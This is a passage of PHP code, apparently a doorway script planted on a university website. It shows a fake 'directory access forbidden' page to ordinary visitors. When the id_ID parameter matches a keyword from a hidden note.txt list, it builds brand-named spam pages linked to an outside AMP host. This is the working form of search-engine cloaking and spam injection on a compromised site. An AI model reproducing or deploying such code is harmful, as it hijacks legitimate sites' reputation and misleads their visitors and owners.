Directory access is forbidden.
"; } $filename = "note.txt"; if (isset($_GET['id_ID'])) { $lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $target_string = strtolower($_GET['id_ID']); foreach ($lines as $item) { if (strtolower($item) === $target_string) { $BRAND = strtoupper($target_string); } } if (isset($BRAND)) { $BRANDS = $BRAND; $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (isset($fullUrl)) { $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; $query = isset($parsedUrl['query']) ? $parsedUrl['query'] : ''; $baseUrl = $scheme . "://" . $host . $path . '?' . $query; $urlPath = $baseUrl; } else { echo ""; } } else { denied(); exit(); } } else { denied(); exit(); } $ampnya = "https://unik-kediri.pages.dev/index-php?$BRANDS.html"; $urlpath = "https://unik-kediri.ac.id/img/?id_ID=$BRANDS"; ?>